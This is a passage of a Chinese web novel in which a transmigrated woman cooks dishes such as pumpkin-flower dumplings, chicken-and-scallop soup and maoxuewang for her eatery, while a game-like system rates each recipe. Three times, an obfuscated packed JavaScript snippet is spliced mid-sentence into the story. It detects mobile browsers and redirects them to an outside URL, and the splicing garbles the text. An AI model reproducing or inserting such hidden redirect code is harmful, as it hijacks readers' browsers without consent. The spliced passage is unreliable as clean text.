再放切碎的葱花、姜末，加适量盐、料酒和生抽，搅拌均匀。 为了丰富口感，她还在里面额外放了些许细碎藕丁。 然后，孟清圆拿起一朵南瓜花，胸有成竹的准备灌馅。 只见她左手持花，右手舀馅，小心地一伸，再轻轻这么一压……花，破了。 “诶我去？” 孟清圆将破掉的南瓜花放在一边，又取来一朵。 这次她深吸一口气，用比刚才更加轻柔的手法重新尝试，然后……又破了。 “诶不是？” 孟清圆不死心，继续拿起一个。 这次第一回只取了少少的肉馅塞进去，很好，没破。 然而塞第二下时，花瓣又又又破了。 “emmmm……” 孟清圆将破掉的三个统统扔进垃圾桶。 没救了毁灭吧，谁也别吃了，干脆直接弄成炸肉圆吧。 轻烟在一旁看不下去，“小娘子，要不交给我来弄吧。” “呜呜呜，轻烟，你真是个好人。” 孟清圆求之不得，赶紧将筷子和还没被祸害的南瓜花往她手中一塞，“那这个艰巨而重要的工作就交给你了哈。” 将这个弄出一肚子气的工作交出去，孟清圆又灌了几大口绿豆甘草冰雪凉水，这才准备去弄团油饭。 团油饭，又叫盘游饭。 《北户录》记载：“广之人食品中有团油饭，以煎蝯鱼，炙鸡鹅，煮猪羊、鸡子、羮饼、灌肠，蒸脯菜、粉餈、粔籹、蕉子，姜、桂、盐、豉之属，装而食之是也。”[1.] 简单说就是各种肉蛋菜调味料和糯米一起上锅蒸。 有什么就放什么，食材因地而异，因人而异。 孟清圆起锅烧油，油热后十分随性的将各种切好的蔬菜丁和肉丁一股脑倒进去。 倒不是她做菜不认真，主要是这道菜后面全靠蒸。 所以炒制的口感倒是不讲究先后顺序。 炒熟的菜被孟清圆盛出，加入大块的南瓜肉和糯米一起蒸。 盖上锅盖，她去看轻烟的成果。 8. 团油饭 还真别说，轻烟在这方面的确天赋异禀。 那一双手指轻拢慢捻抹复挑，一会儿功夫一排朵瓜花酿就灌好了。 每一朵都圆鼓鼓的特别可爱。 “高手在民间啊，”孟清圆鼓掌，“一个都没破？” “嗯，只要慢慢来，还是不难的。” 听听，这是什么凡尔赛发言！ 孟清圆佯装生气哼了一声，乖乖去旁边起锅烧油了。 轻烟见她这样子赶紧哄：“小娘子从小就不擅长女红。 这灌馅跟女红一样是个精细活。 但小娘子这调味、火候和刀工，就是玉京楼的潘大厨都比不上。” “哼，算你说了句实话。” 轻烟一共灌了九朵南瓜花。 孟清圆把它们在加了淀粉的鸡蛋液中滚上一圈，等油热，就放入锅中。 滋啦的脆响后，南瓜花在油锅中慢慢浮起。 表面很快就变成了金黄色，香气也随之飘了出去。 孟清圆用筷子轻轻翻动，确保每一面都炸得均匀酥脆。 全都炸好后，一排排瓜花摆在一起，金黄金黄的。 别的不说，颜值这一块绝对是稳稳拿捏。 主食和正菜都有了，最后再清炒一个蔬菜，今天的晚餐就做好了。 【恭喜点亮新菜谱】 瓜花酿：二颗星 团油饭：二颗星 嗯？ 孟清圆还在等系统接着往下报，对方却没了动静。 不是，这还有一盘清炒小菠菜呢，系统你瞎了吗？ 孟清圆举着盛菠菜的盘子在眼前晃了两圈，系统仍然静悄悄的没有声音。 几个意思啊这是，难道清炒菠菜不配点亮菜谱吗？ 是道德的沦丧，系统的挑剔，还是菠菜兄排面不够？ 堂堂华国人餐桌上最常见的清炒菠菜如果不能点亮菜谱，那西红柿炒蛋，醋溜土豆丝，手撕包菜是不是也不行？ 为了验证心中的猜测，孟清圆又一连做了三道家常炒青菜。 很好，系统依旧静悄悄。 她算是看出来了，这位系统大兄弟好像跟晚翠似的，不爱吃素。 所以才会对这种清炒时蔬不屑一顾。 认清现实的孟清圆在轻烟不理解的目光下硬着头皮解释，“那个，多吃蔬菜，对身体好。” 从码头回来的晚翠刚提着桶进门，就看见孟清圆手上端着的两盘素菜。 “怎么今天都是素啊？” 她的嘴角瞬间垮下来，整张脸悲戚的皱在一起。 说出来你可能不信，之所以做这么多素菜，其实都是为了实验。 “咳咳，多吃蔬菜，对身体好。 晚翠，你不能老挑食只吃肉啊，要注意荤素搭配知道吗。” 晚翠一脸苦大仇深的点点头。 轻烟见她跟霜打的茄子一样，赶紧安慰，“小娘子逗你呢。 她可是特意给你做了一盘子的南瓜花酿肉。” 晚翠一听，立马转悲为喜，“呜呜呜，我就知道，小娘子是爱我的。” 她将两个空桶放回后院，“你们都不知道，下午咱家饮子都要被抢疯了！ 有一位小娘子甚至连喝五碗，吓得我都不敢接着卖她了。” 孟清圆合理怀疑这位小娘子就是中午她碰到的那位。 她接过晚翠身上沉甸甸的钱袋子，“快去洗手，咱们先开饭。” 晚翠乖乖去后院洗手，轻烟把蒸好的团油饭也盛了出来。 不多不少，刚好一人一大碗。 晚翠一口瓜花一口饭，蔬菜是一口也不碰。 “小娘子，明天咱们得多准备点。” 她将团油饭里的肉丁咽下去，“今儿有位客人，跟我预定了一桶。 说是明天巳正派人来拿，定钱都给完了。” “成，我晚上就做。” 轻烟很喜欢蔬菜，这会儿正在专注的吃盘里的醋溜土豆丝。 她吃土豆丝的方式也很独特，每次只夹一根，吃完了再夹一根。 一根一根又一根，也不嫌麻烦。 晚翠看的好奇，“你为什么不干脆夹一筷子一起吃呢？” 说着，她还做了个示范，两根筷子一张一合，一大捆土豆丝就上了岸。 对于其他绿叶蔬菜，土豆相对来说还比较符合晚翠的口味。 “我不喜欢那样吃，很快就饱了，还尝不出滋味。” 轻烟继续一根一根的夹，“这样吃起来脆脆的，能感受到每一根土豆丝的口感。” “土豆丝不都一样吗，还能有什么不同的口感吗？” 晚翠不理解，但丝毫不耽误她干饭，她又扒了一大口团油饭放进嘴里。 “当然不一样了，”轻烟夹起一根展示。 “比如这根，短而方，两头齐平，嚼起来夯实。 而这根，长而细，带锯齿状，吃起来更脆爽。” 孟清圆彻底服了，她就是切土豆丝的时候稍微偷了点懒。 所以导致土豆丝的粗细有点不一样。 那谁让昭宁王朝还没发明出擦丝器这种东西呢。 “那个，我下次注意哈，一定切的粗细均匀。” “小娘子，你想多啦，我可不是说你刀工不好的意思。” 轻烟赶紧解释，“我就喜欢这种口感不一样的，吃起来才有乐趣。” 孟清圆微笑，你开心就好。 饭后，三人围着灯认真数铜板。 “481、482、483……” 三人看着眼前的铜板，再彼此互相对视。 去掉成本，这一天光是饮子竟然就赚了435文。 “我滴乖乖，就卖个饮子，一天竟然能赚这么多？” 虽然东西是晚翠亲自卖出去的，但她也没想到4文钱一碗的饮子竟然能赚这么多钱。 要知道，她们一开始只是抱着宣传食肆的目的去卖的。 对于能卖出多少，根本没报期望。 “要不明天我再多挑两桶去卖吧？” 孟清圆赶紧拦住。 “一天四桶就足够了，再多，恐怕就得剩下了。 再说，过两天食肆就要开张了。 到时候忙活起来，你也没空去再去江边摆摊了。” “那好吧。”晚翠还有点可惜。 三人将钱都用线穿成串，一共穿了四吊钱。 剩下的零头，孟清圆做主，都给了晚翠做工钱。 “这多不好意思呀。” 晚翠话虽然这么说，但揣起铜钱的动作却十分麻利。 “既然是小娘子给的，那我就收着啦，嘿嘿嘿。” 数完了钱，三人开始摆弄孟清圆下午大采购的成果。 防水布裁成合适大小，铺在桌子上当桌布。 干花插瓶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165312|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，摆在桌上做装饰，薄荷和野菊也都被放在了合适的位置。 轻烟在烛火下开始糊纸灯，晚翠则搬了个小凳子凑到孟清圆身边，主动帮忙串那些云母贝壳。 她指尖捻着一片贝壳，对着烛火仔细欣赏上面流转的光泽。 “小娘子，这溜山国在哪呀？怎么会有这么多好看的贝壳？” 孟清圆手上串贝壳的动作顿了顿，脑海中浮现出上一世去马尔代夫度假的场景。 细软的白沙，碧蓝的海水，豪横的海鲜大餐。 还有带滑梯的海景房，坐着滑梯就能直接滑进海中。 不能想不能想，她的海边度假啊。 这一世交通不发达，恐怕是没机会实现了。 孟清圆收回思绪：“溜山国很远很远的大海里。 那里有成片的岛屿，每天都能吃到大螃蟹。” “螃蟹？”晚翠皱了皱鼻子。 “螃蟹有什么好吃的，浑身都是壳子。 剥半天也没多少肉，吃着还麻烦，无趣得很。 以前中秋时老爷和夫人就喜欢用糟蟹佐桂花酒，偏又填不饱肚子。 我还是喜欢吃肉，扎扎实实的才过瘾，嘿嘿！” 孟清圆被她逗得哈哈笑，“傻子，螃蟹的吃法可多了。” 她手里的动作没停，却给两人讲起了螃蟹经。 从清蒸干烧到香辣爆炒、酱焖、酒醉、软炸，再到精致得蟹粉豆腐、蟹肉粥、咸蛋黄焗大闸蟹…… “要说起这雪花蟹斗啊，那滋味可真是，啧啧。 以蟹壳为容器，里面盛清炒蟹粉。 上面覆盖洁白如雪的蛋泡，再用火腿末和香菜叶点缀成花朵形状。 一口下去，鲜的舌头都能被吞掉。” “哇！” 晚翠听得直吸口水，“那什么蛋泡，蓬蓬松松的，听起来就很好吃。” 合着这妮子听了半天，不馋蟹肉，不馋蟹黄，单馋那蛋清打发的蛋泡。 孟清圆点了下她的额头，突然想起什么。 “诶，你还真别说，我突然想起一道菜来。” 她想到的是鸡茸干贝，同样是一道需要蛋清打发营造细腻口感的菜。 “这样，明天我给你俩做一道鸡肉菜，也是蓬蓬松松的。” 晚翠吸溜口水，“好吃吗？” “当然好吃啦，就是得用到扇贝，不知道咱们这能不能买的到。” 上京地处中原，按上一世的地理位置估算，大概在河南一带。 虽有江湖山川，离海边却远得很。 对于能否买到海产品，孟清圆还真不确定。 “有的有的！”晚翠拍着胸脯。 “今天下午我听他们聊天，说温家长期有从南海郡过来的货船。 各种各样的海鲜全都有，运气好的时候，还能赶上活的呢。” 温家，又是温家。 这个温家的买卖，简直跟后世的淘宝和京东有的一拼了。 不过一想到未来有机会买到梭子蟹，兰花蟹，大鲍鱼，墨斗鱼，斑节虾，大海螺……孟清圆觉得自己的口水也要滴出来了。 谁敢信啊，作为一个土生土长的北方人，上辈子她最喜欢的火锅，其实是海南的糟粕醋火锅。 酸酸爽爽带着发酵蒜香的锅底，配上各种海鲜和蔬菜，最后再涮上一碟加了鸡蛋的五花趾。 啧啧，绝对是神仙级别的美味。 9. 鸡茸干贝 第二日，木工坊的师傅们早早便到了店里。 依旧是上次来的两位，见她们正在吃早餐，便忍不住对着桌上的白粥多看了两眼。 看起来明明就是普通的白粥，但怎么闻上去就那么香呢。 那一粒粒的白米粒，都煮的炸开了花。 搭配着桌上看不出是什么的小酱菜，一定很好吃。 年长的那位木工师傅忍不住吞咽了下口水。 “小娘子们正吃着呐？” 孟清圆虽然没看出来木工师傅觊觎她们的粥，但本着反正做多了，顺口问问也没什么的原则，客气道：“师傅们吃早食了吗，要不要来点粥？” 老木工抢在徒弟之前开口：“可以再吃点。” 他徒弟一脸不可置信的看着自己师傅，两人出来时明明才吃了一大碗馄饨，两个肉糜胡饼。 没想到你竟然是这样的师傅。 轻烟给两人各盛了一碗粥，又端上一碟小咸菜。 老木工喝一口，惊讶：“还以为是普通的白粥，原来竟是鱼片粥。” 那米油裹着鲜味，鱼片抿嘴就化开，入口又绵又糯。 两人呼噜呼噜很快就将一大碗下了肚。 吃人嘴短，老木工决定，一定要拿出毕生绝学，给这家好好干活。 也让对方看看他们的手艺。 他招呼徒弟，“傻愣着干嘛，家伙事都拿出来。” 说罢，又对孟清圆等人拍胸脯，“小娘子们放心，只需一天，我保证给你们弄得妥妥帖帖。” 孟清圆可不知道，只是一碗鱼片粥就激发起了木工师傅炫技的心思。 见两人开始忙活起来，她便留轻烟在家看店，自己则跟着晚翠出门。 草鞋摊的老丈今天会带金桔来，她得去验货，顺便买干贝。 两人到的时候，老丈已经将摊子支在了昨天的位置上，这会儿正手指翻飞编着孟清圆下定的桌垫。 见两人来，他赶紧放下手里活计，热情招呼。 “两位小娘子可算来了，这金桔我都带来了，请小娘子过目。” 孟清圆从竹筐里随手捡起一颗，用袖子擦了擦皮上的灰，就丢进嘴里嚼了起来。 果皮微苦但不涩口，果肉酸甜适中，汁水充盈，的确不错。 “挺好的，就按照这个品质，这半个月您先每隔三日我送五十斤。” 这个量不算特别大，但也不少了。 金桔这东西，现在少有人家日日吃。 多是买了回去沏水喝，或者家里小孩嗓子疼，买上几颗回去蘸上盐含着吃。 一次五十斤，也算大单子。 老丈无有不应的，“没问题，我们这品质小娘子们放心。” 他这也算是为村里拉了个长线买卖。 听说对方是做食肆的，指不定回头村里用不上的菜蔬也能送过去卖，村里人也多了个进项。 取走金桔，孟清圆叮嘱晚翠记得中午回去吃饭，就开始在集市上寻找卖干货的摊子。 为了昨天承诺的鸡茸干贝，她足足跑了五个干货摊子。 这才终于找到了肉质饱满，微微发黄的干贝，五颗就有手掌大。 只不过传说中的鲜活海货孟清圆并没有看到。 其实这也正常，这会儿天气热。 就算是走水路用冰，从南海郡到上京，海鲜估计也活不成了。 看来想吃鲜活海鲜做的糟粕醋火锅，还得等秋后。 孟清圆拎着金桔、干贝和鸡肉，回到食肆准备开始做鸡茸干贝。 这鸡茸干贝又名江瑶柱玉糁羹，算得上是古法菜系中“吃鸡不见鸡”的功夫菜。 虽不如开水白菜和鸡豆花名气大，却也是寻常馆子吃不到的精细菜。 考究的就是个费时费力的水磨工夫。 不过话说回来，像这么费时费力的菜，系统怎么也得打个四星吧？ 轻烟好奇跟她回后厨，准备看看这道从没听过的菜要怎么做。 然后就被孟清圆抓了苦力，“轻烟，你找口锅，把这只鸡煮上，记得隔一刻钟捞两次浮沫。” 能帮小娘子打下手，轻烟是很高兴的，于是欢欢喜喜的炖鸡汤去了。 孟清圆则开始用温水泡发干贝，等摸起来发软了，就捞出来用清水仔细洗净。 她只要瑶柱部分，裙边和贝黄通通去掉。 不过这些她也没浪费，打算回头做个凉拌菜。 将瑶柱放入碗中，加少许葱段、姜片和黄酒去腥味，上锅蒸两刻钟。 趁着这个工夫，孟清圆开始处理鸡胸脯肉。 先剔除干净肉上的筋膜，再用刀背反复仔细捶打，直到肉质变得绵密细腻，看不出丝毫肉的纹理。 最后用筛网细细过一遍，把残留的细小肉筋全部去掉，只留下最嫩滑的鸡茸。 这一步是其实最费功夫的，也是整道菜的关键。 力道轻了捶不细，力道重了又会让肉质发柴。 上辈子孟清圆做这道菜时，没少在这一步翻车。 全是因为捶打力度不对，看着虽然卖相还行，但吃起来就是差点意思。 她反复捶打过筛了半个小时。 轻烟那边鸡汤都撇了好几次浮沫了，才终于见小娘子将一堆细腻如膏的鸡茸倒进碗里。 到这一步还不算完，鸡茸中还得加入一点凉白开，顺着一个方向轻轻搅匀。 这样能让鸡茸充分吸收水分，免得后面起浆。 将湿润粘稠的鸡茸放在一边静置，孟清圆准备开始打鸡蛋清。 在没有电动打蛋器的朝代，这项工作无疑是枯燥且锻炼臂力的。 孟清圆一边大力搅动，一边小声抱怨。 “要是能做个打蛋器就好了。” 只可惜这里连个塑料瓶子都没有，让她想DIY个打蛋器都不行。 诶？打蛋器？ 孟清圆突然一拍脑门，把一旁看得起劲的轻烟吓了一跳。 “小娘子，怎么了这是？” “轻烟，快快，你去杂货铺买个茶筅回来。 要长柄的，大的，越大越好！” 轻烟不明所以，但见小娘子这个激动的样子，但还是拿着钱乖乖出了门。 十分钟后，孟清圆将手中的筷子换成了大号茶筅，右手腕搅动的飞起。 她怎么就忘了呢，这里虽然没有打蛋器，但是有茶筅啊。 上京这边的饮茶习惯和宋朝很像，都是用茶筅快速搅拌击打茶汤，使之发泡。 这不就是妥妥的古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165313|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代版打蛋器吗。 有了新工具，蛋清很快就被打发至雪白蓬松的气泡状态。 孟清圆取一半蛋清倒进之前的鸡茸中，顺时针搅拌好。 又将鸡茸倒回剩下的半碗蛋清中，继续顺时针搅拌。 这一步其实跟后世做戚风蛋糕有点像，主要是利用蛋白发泡，给食材增加细腻口感。 鸡茸制作完成，轻烟那边的灶火也已经烧好。 孟清圆起锅烧水，等水烧至微微沸腾时，快速用勺子舀起一勺鸡茸，顺着碗边缓缓推入水中。 鸡茸遇热迅速凝固，变成一个个洁白圆润的小丸子。 浮在水面上，像一颗颗饱满的白玉珠。 煮好的丸子捞出备用，孟清圆另起一口锅，将熬好的鸡汤倒进去。 又将蒸好的干贝撕开，用勺子细细压成干贝泥，丢入锅中小火慢慢熬煮。 等干贝的鲜味充分融入汤中，她才放入鸡茸丸子，轻轻推动勺子防止彼此粘连。 煮到丸子充分吸收干贝的香味了，再加少许盐调味。 这样一份鸡茸干贝就做好了。 汤鲜、丸白、肉嫩，绝对是视觉和味觉的双重奏。 将做好的鸡茸干贝盛进洁白的瓷盅里，正好五份。 孟清圆抓了一撮切碎的嫩香菜叶撒上去做点缀。 【恭喜点亮新菜谱】 鸡茸干贝：三颗星 不是，凭什么啊？ 凭什么这道不输给开水白菜和鸡豆花的菜，才只能拿到三颗星？ 系统知道当初她练习这道菜，花了多少功夫吗？ 系统知道她为了打发蛋清，右胳膊比左边粗了多少吗？ 它不知道！ 在心中问候了系统的宗族以及远方表亲后，孟清圆才重新换上笑脸。 “轻烟，去喊晚……诶？晚翠回来啦？那没事儿了。” 这小妮子还真是有点玄学在身上，每次都能赶着饭点回来。 孟清圆又快速用剩下的鸡胸脯肉配着芦笋做了个系统只给了一颗星的芦芽鸡丝，以及可能因为是边角料所以系统压根不给星的凉拌裙边。 再调了麻酱汁子和醋汁，回头直接做浇头放在面上，主食凉菜就都有了。 三人将菜端出去，孟清圆笑呵呵招呼。 “师傅们忙活一上午了，不如一起过来吃个午食吧。” 这是不成文的规矩，匠人来家里做工，都是要包餐的。 早上才品尝过鱼片粥的老木工从鸡汤开锅的时候，心思就飞到了后厨。 一见对方招呼，干脆装也不装了，手里的活儿一扔，就坐到了桌边。 “掌柜娘子真是好手艺啊，我方才就闻到这香味儿了。” “今儿做了个道新菜，正好叫您二位尝尝味道。 要是喜欢，日后开张了可要常来啊。” 孟清圆不忘给自己发展新客户。 “那是自然。” 孟清圆和晚翠轻烟一桌，木工师傅二人一桌。 每桌的菜色都是一样的，一人一碗鸡茸干贝，一盆子泡在盆里的凉面，外加鸡丝、胡瓜等小菜。 老木工的徒弟先给他师傅盛了满满一大碗凉面，又帮着放了许多芦芽鸡丝，这才递到师傅面前。 10. 毛血旺 老木工不着急吃面，而是先喝了一碗绿豆甘草冰雪凉水，这才用勺子舀了一颗丸子放进嘴里。 入口，他眯起眼。 鲜，真鲜呐。 是那种仿佛整个人都遨游在海里，身边不停有一张一合的扇贝游过，偶尔还能看见会游泳的母鸡的鲜。 他甚至透过这瓷盅看到了背后闪烁的金光特效。 还伴随着《中华小当家》“当当当当当当当”的BGM。 “这、这这这……” 话没说完，又吃了一颗，“哎呀呀呀……” 然后一颗一颗又一颗。 在众人还没反应过来时，老木工已经开始捧着瓷盅大口喝汤了。 他徒弟见师傅这个样子，深深怀疑最近师娘是不是跟师傅吵架了，所以不给他饭吃。 不然真的很难解释一向老成持重的师傅为何会对着已经空了汤碗流泪。 然而等徒弟也吃了一颗丸子后，师徒俩开始脸对脸流泪。 不是，这也太好吃了吧，怎么能这么好吃呜呜呜…… “啊这……” 晚翠悄悄拽了拽孟清圆的袖子，“他俩没事儿吧？” “应该……没事儿吧？” 孟清圆看着已经被好吃哭的两人试探问，“这鸡茸干贝没了，但后厨还有些炸鱼脯，要不我给您二位端点过来？” 两人齐齐抬头，双眼闪着光，就差把掌柜的你是大好人啊几个字写在脸上了。 等两人吃光了一碗鸡茸干贝、一碟芦芽鸡丝、一盘凉拌裙边、一份炸鱼脯以及两大盆索面之后，终于心满意足的打了个饱嗝。 吃不下了，这回真的是一点也吃不下了。 老木工慢悠悠喝着绿豆甘草冰雪凉水灌缝儿，“掌柜娘子这手艺，不知是师从何处，真是了得啊。” 晚翠一脸得意，“我们小娘子的手艺可是郞主亲自指点的。” “原来是家学渊源，怪不得。 就这手艺，跟永丰楼、玉京楼那些上店比也不差什么了。” 作为上京资深的老匠人，张师傅也是很吃过些好东西的。 赶上去那些个富贵的主家做工，对方也会招待一桌不错的席面。 论菜色肯定比今天这顿丰富，但味道嘛，光是这一道鸡茸干贝，就能秒杀人家那一桌。 “回头等掌柜娘子这食肆开张了，我定是要带着老妻前来捧场的。” “师傅，能不能带上我……” 这一顿吃的宾主尽欢，下午两人锯木头时，简直跟上了发条一样，那叫一个卖力。 还不到下午三点，就将活干完了。 按照孟清圆之前画的图纸样式，临江的窗户整个被打通，窗扇都被挂起来，一张高窄长桌固定在窗边，样子有点类似于后世的吧台。 再配上成套的高凳，两两一组，一共六把。 坐在高凳上往窗外望去，视野开阔无遮挡。 江水滔滔，清风拂面，每一个坐在这里的客人，都能享受到180度的江景。 “您这手艺可真好。”孟清圆由衷夸赞，这成品简直跟她图纸上画的一模一样。 “掌柜娘子满意就好。 不过说来，老夫做了这么多年的活计，还是第一次做这种款式。 虽然高，但的确视野好，还是小娘子有巧思啊。 这样的款式，那些大户人家必定也喜欢。” 孟清圆听明白了，“要是日后有人喜欢，您尽管给他们做就是。” 反正也不是她的原创。 张师傅美滋滋的收了工钱，又跟孟清圆打听了开业时间，这才带着徒弟辞别。 送走两人，孟清圆接着回后院去处理上午的金桔。 这些金桔，她打算都用来做成盐渍金桔。 上京有个治嗓子的偏方，金桔对半切开，抹盐后含服，但其实这样的效果不如腌渍好。 金桔洗净晾干，表面均匀抹一层食盐，放入坛中密封腌制。 腌的时间越久，表面就会越黑，整个果子也会变得很软糯。 后世两广那边，谁家要是有腌制了十几年的老金桔，那都是能传家的。 据说时间久了，表面都能看到一层果油被腌出来。 这东西不怕放，越陈越香。 不管是用来做饮子还是炖菜都好吃，所以孟清圆决定多做些。 二十斤金桔不算多，拢共做了一坛子。 【恭喜点亮新菜谱】 盐渍金桔：一颗星 孟清圆现在已经可以做到无视系统的提示音和评级了。 在她看来，这盐渍金桔根本连到菜都不算，可人家系统就是买账。 看来是个喜欢吃甜食的统子。 一坛子装满，正好剩下最后十几颗金桔。 孟清圆打算晚上弄个甜口的金桔陈皮蒸排骨吃。 既然她的统子喜欢金桔，那就按照它的口味做。 谁能跟掌控着自己生杀大权的BOSS较劲呢。 傍晚，孟清圆把给一早答应陈大娘的各种口味炸鱼脯都给送了过去。 陈大娘神秘兮兮的掏出来一竹筐的马齿苋。 “都是今儿江流儿去城外摘来的。 据说这东西清热降火，回头用水焯一下凉拌就很好吃了。” “用来包包子也好吃呢。”陈江流在一旁补充。 孟清圆乐呵呵的收下了，还特意叮嘱：“这香辣味儿的炸鱼脯我放了不少花椒和辣椒面。 您要是不能吃辣，可以放在胡饼里夹着吃，味道也好。” “你怕是不知道，我娘可是蜀中人，最能吃辣了。” “怪不得我总觉得您家这鱼羹跟别人的比起来，喝起来更够味儿，这下找到原因了。” 陈江流拍手哈哈大笑：“娘，我就说您平时茱萸粉放太多了吧！” 孟清圆从肉铺回来，排骨没买，倒是买了一条肥瘦相间的五花三层，一碗鸭血以及一条长十米的猪大肠。 计划赶不上变化，自从提到陈大娘是蜀中人，孟清圆就有点馋辣菜。 正好肉铺今天有新到的猪大肠，她干脆把菜单从金桔陈皮蒸排骨换成了毛血旺。 回来时轻烟看到孟清圆手里那一大捆猪大肠，愣了好半天。 “小娘子，你买这个是干嘛用？” “当然是吃啊。” “啊？” 饶是轻烟这么稳重的人，都露出你在说什么我没听错吧的表情。 “不是，小娘子原来喜欢吃这个吗……” "喜欢啊，猪大肠嘎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165314|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘎香，你不爱吃吗？” 轻烟摇头，“我……我没吃过。” 孟清圆心里嘀咕，好歹家里曾经也有个玉京楼，怎么连猪大肠都没吃过。 难道玉京楼里不卖卤肥肠，溜肥肠，九转肥肠吗？ 根据原主的记忆，上京人对于下水接受度还是挺良好的呀。 “你不会没吃过猪大肠吧？” “没有，据说祖翁年轻时遇到过一家卖溜肥肠的，结果那肥肠没洗干净……从此以后，玉京楼不光不卖猪大肠菜，连鸭肠都是不卖的。” 啊这。 孟清圆突然想起某厨艺比赛中的顶级阳谋，号称一计害三贤的名场面。 一位选手做的九转大肠，不仅没有把大肠翻过来清洗，收汁时用的还是洗大肠的水。 “你吃了就中了我的计，你不吃就无法淘汰我。”一一《肠谋天下》 当时那评委一脸痛苦面具吃下肥肠的表情包，孟清圆真的看一次笑一次。 孟清圆将盐和面粉都倒进盆中，又用一根筷子顶住大肠的一端将肠衣整个翻过来。 “好轻烟，相信我。 给我一次机会，也给猪大肠一次机会。” 轻烟不语，但轻烟怀疑。 她看着孟清圆用水冲洗已经翻过来的猪大肠，里面各种不知名的粘稠液体流了一地。 轻烟捏着鼻子：“小娘子，你不觉得臭吗？” “不臭啊。”孟清圆仰起头让她看自己的鼻孔，“嘿嘿，我堵了棉纸团。” 将洗干净的猪大肠丢进盆里，孟清圆开始暴力揉搓。 致力于将大肠的每个角落都揉搓干净，绝对不留一丝异物。 把翻过来的猪大肠用水冲洗都扔进盆里，开始用水冲洗，等将里面的黏液都洗干净了，又往盆里放大量面粉和食盐使劲揉搓。 等又用白酒洗了两遍后，孟清圆抠出鼻子的纸团，将猪大肠放在鼻尖闻了闻。 嗯，好像没什么味道了。 于是她换了根新筷子，再把大肠整个翻回去。 目睹全程的轻烟不管孟清圆怎么劝说，都不肯再回收这两根筷子。 “还是丢了吧，回头我再买一双去补上。” “要不只扔第一根？” “小娘子！” “好吧好吧。” 孟清圆将大肠切段，五花肉切薄片。 切大肠的时候她突然问，“轻烟，你喜欢油脂多的还是少的？” 见轻烟一副拒绝回答的样子，孟清圆只能帮她决定，“晚翠应该喜欢肥的，那肥油就多留一点。” 鸭血冷水下锅，放一勺白酒去腥，煮三分钟后捞出来。 热锅倒油，油热后放入姜片、蒜瓣、花椒和干辣椒炝锅。 炒出香味后下豆酱和牛油，再放入五花肉片和黄豆芽，等都包裹酱汁后盛出。 这锅酱料可是毛血旺的精髓。 孟清圆往锅里加入清水，烧开后下青笋条和马齿苋。 再将鸭血、五花肉和大肠都丢进去，大火煮熟。 最后把这一大锅连汤带料全部倒进铺了黄豆芽的碗中，表面撒上干辣椒段、花椒和蒜末，再淋上一勺热油。 只听滋啦一声，香味混合着辣味被激发，轻烟被辣的直咳嗽。 11. 冰糖肥肠 孟清圆看她盯着自己手里的锅就有不好的预感。 “轻烟啊，这一口铁锅可要一两银子呢，你可别冲动啊。” 轻烟只能按捺住自己想把那口锅也换掉的冲动。 小娘子说得对，一两银子呢，大不了她一会儿用草木灰多刷几次。 虽然没用火锅底料，也没有毛肚、黄喉和午餐肉。 但这个孟氏毛血旺，也够辣够味。 孟清圆闻着空气中飘荡的辣椒香，心满意足。 【恭喜点亮新菜谱】 毛血旺：两颗星。 【恭喜宿主完成主线任务】 想要快速积攒下食肆的第一桶金，菜谱很重要。 请于七天内成功点亮十道菜谱。 任务奖励已发放：东篱食肆增加声望值100点。 当前声望值：100点。 哦耶！ 孟清圆心里欢呼，将满满一大盆红油毛血旺端上桌。 又吩咐轻烟：“去江边喊晚翠回来吃饭，这道菜凉了可就不好吃了。” “好。” 见轻烟离开，孟清圆径直打开了系统面板。 在菜谱、人物、背包、任务的后面，赫然多了一个声望值按钮。 她点开查看，发现上面只写着“当前声望值：100点（请努力积攒声望值，开启兑换系统）”。 虽然不知道声望值到底能兑换什么东西，但任务完成保住小命比什么都重要。 孟清圆表示，今儿老百姓，真呀真高兴。 【您有一条新的支线任务待接取】 还没等她关闭系统，突然又一个任务提示音被触发。 金色菜谱是系统的馈赠，也是宿主的外挂。 请于24小时内前往菜谱面板点击第一道金色菜谱查看任务详情，超时后任务将自动消失。 注：如任务消失，则默认宿主未完成任务。 完成任务奖励：未知 未完成任务惩罚：未知 乍一看到这个支线任务，孟清圆的第一反应竟然是大喜。 作为一个玩过不少游戏的网瘾少女，支线任务她熟啊。 和主线任务不同，支线任务一般是需要一定前置才能触发。 而且多半是完成了给隐藏奖励，完不成也没什么大惩罚，属于游戏里的福利局。 既然是给福利，那就断然没有拒绝的道理。 孟清圆决定等吃完饭就回房接取任务。 她退出系统，刚准备将毛血旺端到大堂，就看见晚翠和轻烟手拉手从外面回来。 